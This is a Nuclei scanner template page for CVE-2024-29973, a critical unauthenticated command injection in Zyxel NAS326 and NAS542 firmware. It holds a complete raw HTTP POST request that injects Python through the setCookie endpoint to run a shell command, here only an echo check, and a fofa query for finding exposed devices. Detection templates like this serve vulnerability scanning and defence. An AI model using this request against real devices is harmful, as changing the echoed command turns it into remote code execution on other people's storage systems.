Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection

ID: CVE-2024-29973

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,zyxel,rce,intrusive

Description

The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.

YAML Source

id: CVE-2024-29973

info:
  name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
  reference:
    - https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
    - https://x.com/sirifu4k1/status/1803267896656929099/photo/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.88
    cve-id: CVE-2024-29973
    cwe-id: CWE-78
    epss-score: 0.96901
    epss-percentile: 0.9971
    cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: nas326_firmware
    fofa-query: app="ZYXEL-NAS326"
  tags: cve,cve2024,zyxel,rce,intrusive
variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei

        ------WebKitFormBoundarygcflwtei
        Content-Disposition: form-data; name="c0"

        storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("echo {{string}}", shell=True)#
        ------WebKitFormBoundarygcflwtei--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'errmsg0\": \"OK')"
          - "contains(header, 'application/json')"
          - "contains(body, '{{string}}')"
        condition: and
# digest: 490a004630440220018d395fb77cf033eecc46898a5d86381d79f4b4a4895e0b803f06f604d8002702203d15780614efcee830f3b6fbf186dcb707a592bdc17468b1970b1af0337ff6ff:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-29973.yaml"

View on Github